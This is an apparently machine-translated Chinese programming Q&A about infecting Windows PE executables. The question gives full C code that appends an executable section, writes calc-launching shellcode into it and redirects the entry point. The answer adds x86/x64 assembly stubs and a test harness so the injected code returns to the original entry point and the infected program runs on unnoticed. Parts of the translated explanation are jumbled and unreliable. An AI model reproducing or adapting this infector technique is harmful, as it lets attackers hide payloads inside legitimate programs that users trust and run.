我试图通过在pe文件末尾添加一个额外的节头并在其中写入外壳代码来进行pe感染。
我已经添加了额外的部分,并在其中写入了外壳代码,并将原始入口点(oep)更改为新添加的部分,它执行得很好;我的意思是,我的外壳代码运行得很好,但现在我想继续主进程,为此,我需要再次将修改后的入口点更改为oep。但是,我想不通。在执行外壳代码之后,请告诉我是否有任何方法可以恢复主进程。
而且,我也尝试过这个blog,但它也不起作用,因为作者编写了内联asm代码,并在运行时放置了一些占位符来恢复oep,oep将动态嵌入外壳代码中。
我正在考虑写一个包含JMP to_OEP
的外壳代码。但是,我不确定它是否会起作用。
在pe文件中执行外壳代码后,请建议一些恢复进程的方法或提示。
代码:
#include <stdio.h>
#include <windows.h>
#include <stdbool.h>
// returns the DOS Header
PIMAGE_DOS_HEADER GetDosHeader(LPBYTE file) {
return (PIMAGE_DOS_HEADER)file;
}
/*
* returns the PE header
*/
PIMAGE_NT_HEADERS GetPeHeader(LPBYTE file) {
PIMAGE_DOS_HEADER pidh = GetDosHeader(file);
return (PIMAGE_NT_HEADERS)((u_char*)pidh + pidh->e_lfanew);
}
/*
* returns the file header
*/
PIMAGE_FILE_HEADER GetFileHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_FILE_HEADER)&pinh->FileHeader;
}
/*
* returns the optional header
*/
PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_OPTIONAL_HEADER)&pinh->OptionalHeader;
}
/*
* returns the first section's header
* AKA .text or the code section
*/
PIMAGE_SECTION_HEADER GetFirstSectionHeader(LPBYTE file) {
PIMAGE_NT_HEADERS pinh = GetPeHeader(file);
return (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pinh);
}
PIMAGE_SECTION_HEADER GetLastSectionHeader(LPBYTE file) {
return (PIMAGE_SECTION_HEADER)(GetFirstSectionHeader(file) + (GetPeHeader(file)->FileHeader.NumberOfSections - 1));
}
DWORD align(DWORD size, DWORD align, DWORD addr) {
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;
}
bool AddSection(char *filepath, char *sectionName, DWORD sizeOfSection) {
HANDLE hFile = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("[-] Cannot open %s\n", filepath);
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (!dwFileSize)
{
printf("[-] Could not get files size\n");
CloseHandle(hFile);
return 0;
}
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);
DWORD dw = GetLastError();
if (!hMapping)
{
printf("[-] CreateFileMapping failed\n");
CloseHandle(hFile);
return 0;
}
LPBYTE pByte = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);
DWORD dw1 = GetLastError();
if (!pByte)
{
printf("[-] MapViewOfFile failed\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
//check signature
//pDosHeader = (PIMAGE_DOS_HEADER)lpFile;
PIMAGE_DOS_HEADER dos = GetDosHeader(pByte);
if (dos->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] DOS signature not found\n");
UnmapViewOfFile(pByte);
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
PIMAGE_NT_HEADERS nt = GetPeHeader(pByte);
PIMAGE_FILE_HEADER FH = (PIMAGE_FILE_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER OH = (PIMAGE_OPTIONAL_HEADER)(pByte + dos->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER SH = (PIMAGE_SECTION_HEADER)(pByte + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
ZeroMemory(&SH[FH->NumberOfSections], sizeof(IMAGE_SECTION_HEADER));
CopyMemory(&SH[FH->NumberOfSections].Name, sectionName, 8);
//We use 8 bytes for section name,cause it is the maximum allowed section name size
//lets insert all the required information about our new PE section
SH[FH->NumberOfSections].Misc.VirtualSize = align(sizeOfSection, OH->SectionAlignment, 0);
SH[FH->NumberOfSections].VirtualAddress = align(SH[FH->NumberOfSections - 1].Misc.VirtualSize, OH->SectionAlignment, SH[FH->NumberOfSections - 1].VirtualAddress);
SH[FH->NumberOfSections].SizeOfRawData = align(sizeOfSection, OH->FileAlignment, 0);
SH[FH->NumberOfSections].PointerToRawData = align(SH[FH->NumberOfSections - 1].SizeOfRawData, OH->FileAlignment, SH[FH->NumberOfSections - 1].PointerToRawData);
SH[FH->NumberOfSections].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
SetFilePointer(hFile, SH[FH->NumberOfSections].PointerToRawData + SH[FH->NumberOfSections].SizeOfRawData, NULL, FILE_BEGIN);
//end the file right here,on the last section + it's own size
SetEndOfFile(hFile);
//now lets change the size of the image,to correspond to our modifications
//by adding a new section,the image size is bigger now
OH->SizeOfImage = SH[FH->NumberOfSections].VirtualAddress + SH[FH->NumberOfSections].Misc.VirtualSize;
//and we added a new section,so we change the NOS too
FH->NumberOfSections += 1;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
//and finaly,we add all the modifications to the file
WriteFile(hFile, pByte, dwFileSize, &dw, NULL);
PIMAGE_SECTION_HEADER first = GetFirstSectionHeader(pByte);
PIMAGE_SECTION_HEADER last = GetLastSectionHeader(pByte);
SetFilePointer(hFile, last->PointerToRawData, NULL, FILE_BEGIN);
// below shellcode will popup calc.exe
char *str =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
// Original Entry Point (OEP)
DWORD dwOEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;
WriteFile(hFile, str, strlen(str), &dw, 0);
printf("EOP:- %d - %d\n", dwOEP, last->PointerToRawData);
nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress; //- last->PointerToRawData;
CloseHandle(hFile);
return TRUE;
}
void main()
{
if (AddSection("C:\\Users\\xyz\\sample_hello.exe", ".TST", 400))
printf("Section added!\n");
else
printf("Error writting code!\n");
}
开发环境:
视窗10
Visual Studio 2017(社区版)
最佳答案
对于x86,您需要下一个外壳代码:
_shcode proc
nop
nop
nop
call @@0
DD 0
@@0:
mov eax,[esp]
mov edx,[eax]
sub [esp],edx
;------------
; your shell code here
;------------
ret
_shcode endp
对于x64 next:
shcode proc
nop
nop
nop
call @@0
DD 0
@@0:
mov rax,[rsp]
movsxd rdx,dword ptr[rax]
sub [rsp],rdx
sub rsp,32
;------------
; your shell code here
;------------
add rsp,32
ret
shcode endp
将shell代码放在这里,将实际的shell代码过程放在适当的位置,例如,you
"\x31\..\xd7"
。这里的关键点
DD 0
字段位于shell代码begin的偏移8处(x86和x64中)。让您的外壳代码将有
RVA
(相对虚拟地址)在最终的exe。另一方面AddressOfEntryPoint
是原始exe入口点的rva。您必须在DD 0
字段中写入RVA + 8 - AddressOfEntryPoint
。真的-let exe将在
ImageBase
加载。在堆栈中的shell代码中执行
call @00
指令之后将被推送返回地址-在
call @@0
之后的下一个地址-这将是
ImageBase + RVA + 8
。所以在
mov rax,[rsp]
中rax
之后这是原始
ImageBase + RVA + 8
的地址。下一个
DD 0
读到movsxd rdx,dword ptr[rax]
下一个rdx
(记住这是我们存储的内容,而不是0,当准备外壳代码)(在x64中,我们使用有符号扩展)。
最后给出
所以
RVA + 8 -AddressOfEntryPoint
将位于sub [rsp],rdx
对于x64,需要保留32字节的空间(堆栈已经在
这一点),对于x86不需要
执行shell代码
最后把我们移到
原始入口点
让我们简单地测试一下self-exe。两个x86/x64的测试代码相同
extern "C"
{
void __cdecl shcode(void*);
}
BOOL SimulateWriteSC(ULONG AddressOfEntryPoint, ULONG Rva, PVOID pvShcode)
{
ULONG op;
pvShcode = RtlOffsetToPointer(pvShcode, 8);
if (VirtualProtect(pvShcode, 4, PAGE_EXECUTE_READWRITE, &op))
{
*((PULONG)pvShcode) = (Rva + 8) - AddressOfEntryPoint;
VirtualProtect(pvShcode, 4, PAGE_EXECUTE_READWRITE, &op);
return TRUE;
}
return FALSE;
}
void WINAPI ep(void* Peb)
{
enum : LONG_PTR { tag = MAXLONG_PTR };
if (Peb == (void*)tag)
{
MessageBoxW(0,0,L"Original Entry Called",0);
}
else
{
MessageBoxW(0,0,L"We in Shell Code",0);
if (SimulateWriteSC(RtlImageNtHeader(&__ImageBase)->OptionalHeader.AddressOfEntryPoint,
RtlPointerToOffset(&__ImageBase, shcode), shcode))
{
shcode((void*)tag);
}
}
ExitProcess(0);
}
这里
(ImageBase + RVA + 8) - (RVA + 8 -AddressOfEntryPoint) = ImageBase + AddressOfEntryPoint
是exe的真正入口点(使用ImageBase + AddressOfEntryPoint
链接器选项)。它用一个指向[rsp]
的参数指针调用。ret
已经“写入”到我们的exe(我使用单独的asm文件+masm(ml.exe))。只需要调整ImageBase + AddressOfEntryPoint
字段,我在void WINAPI ep(void* Peb)
中编写了/ENTRY:ep
,其中PEB
是shell代码的rva,而shcode
-rva是exe入口点。所以我一开始就是这么描述的。然后我们调用shellcode-DD 0
-如果全部正确完成-将使用传递的参数再次调用原始的exe入口点-SimulateWriteSC
(具体情况下为(Rva + 8) - AddressOfEntryPoint;
)。我们检测到这个特殊的标记参数并退出。测试可以